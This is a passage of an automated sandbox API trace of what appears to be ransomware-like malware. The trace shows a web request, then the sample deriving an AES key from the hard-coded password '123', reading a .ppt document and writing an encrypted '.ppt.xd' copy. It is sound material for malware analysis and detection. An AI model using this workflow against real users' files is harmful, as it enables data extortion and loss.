lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.536] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.536] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.537] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0073.537] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0073.537] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0073.537] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0073.537] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629270, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629270*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0073.537] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.538] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.538] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.538] CloseHandle (hObject=0x0) returned 0 [0073.538] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.538] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0073.538] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0073.538] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.538] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.538] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.539] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.539] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.539] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.539] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0073.539] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.539] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.539] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0073.539] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.539] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.539] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.539] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.539] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.539] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0073.539] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e330, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0073.540] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0073.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0073.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e290, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0073.540] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0073.540] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa010) returned 1 [0073.541] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.541] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.541] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0073.541] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.542] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.542] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.542] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.542] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.542] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.542] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.543] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.543] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.543] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.543] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.543] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.543] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0073.544] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.544] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.544] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.544] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.544] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.544] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.544] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.544] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.544] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.544] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.544] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.544] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.544] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.544] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.544] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.544] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.544] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.544] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.544] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213f0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0073.545] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0073.545] CryptCreateHash (in: hProv=0x17aa010, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0073.545] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.545] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.545] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.545] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629330, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.545] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0073.545] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629470, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.546] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.546] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.546] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.546] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0073.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621660, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0073.546] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0073.546] CryptHashData (hHash=0x164c6f0, pbData=0x1629430, dwDataLen=0x3, dwFlags=0x1) returned 1 [0073.546] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.546] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.546] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.546] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.546] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.546] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.547] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.547] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0073.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218d0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0073.547] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0073.547] CryptDeriveKey (in: hProv=0x17aa010, Algid=0x6610, hBaseData=0x164c6f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c9f0) returned 1 [0073.547] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.547] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.547] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.547] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.547] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.547] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.547] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0073.547] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0073.548] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0073.548] CryptDestroyHash (hHash=0x164c6f0) returned 1 [0073.548] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.548] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.548] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.548] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.548] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.548] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\efd8vlkht.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0073.548] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.548] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0073.549] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.549] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.549] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.549] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif")) returned 0x10 [0073.550] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\efd8vlkht.ppt.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0073.550] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.550] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.550] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.550] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.552] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0073.552] ReadFile (in: hFile=0x3ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xea35, lpOverlapped=0x0) returned 1 [0073.554] ReadFile (in: hFile=0x3ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0073.559] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.559] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.559] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.559] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0073.560] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.560] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.560] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0073.560] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.560] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0073.560] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.560] PeekMessageW (in: 